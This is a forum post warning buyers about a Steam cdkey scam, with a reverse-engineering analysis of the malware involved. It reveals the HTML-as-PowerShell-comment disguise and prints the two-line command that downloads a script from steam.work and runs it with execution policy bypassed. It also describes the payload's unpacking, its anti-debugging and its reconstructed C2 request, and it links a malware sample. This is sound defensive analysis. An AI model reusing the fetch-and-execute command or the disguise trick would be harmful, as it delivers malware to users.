本帖最后由 MicroBlock 于 2024-7-31 00:02 编辑
结论放在前面:如果买 cdkey 买到让你要输入某个脚本再激活的,那别去管他,立刻退货并举报商家!原因就直接贴我写这个就行...
该商家在使用 Steam 注入病毒假入库来进行诈骗,证据:https://www.52pojie.cn/thread-1949495-1-1.html 请立即退款,我将会向消费者协会说明本店情况!
## 正文
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:
好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损
那么真实的代码就只剩两行了:
[PowerShell] 纯文本查看 复制代码 irm steam.work/pwsDwFile/new1 -OutFile x.ps1
powershell.exe -ExecutionPolicy Bypass -File x.ps1;
看得出来,又是下脚本...我们把这玩意也下下来看一眼:
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:
1. 把危险函数 VirtualAlloc 等 伪装成普通函数:
2. 里面有 zlib.inflate (图里打错了)
看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西
[eax + 0x4 * 3] -> 解压出缓冲区指针
[eax + 0x4 * 5] -> 解压出数据长度
不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:
怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?
这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串
(接前文)
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数
直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
然后就断下来了,我们来看一眼
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:
HTTP1.1 POST http://api.steam.work/api/integral/vs
Referer: version
user-agent: steam
{"sign":"ckv"}
返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点
sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)
于是转移到一台实机上继续分析。
直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
把请求掏出来看看:
看起来是成功了,返回一个 code 和一个 data;
这个 ID 又是啥?
哦,哈迪斯的 App ID
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里
C:\Program Files (x86)\Steam\package\data
这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开
居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:
有个appid,和两个不认识的hex;把键名拿去搜搜看:
原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey
病毒样本
密码 52pojie
virus.zip
(1.51 MB, 下载次数: 33)
完结撒花~ |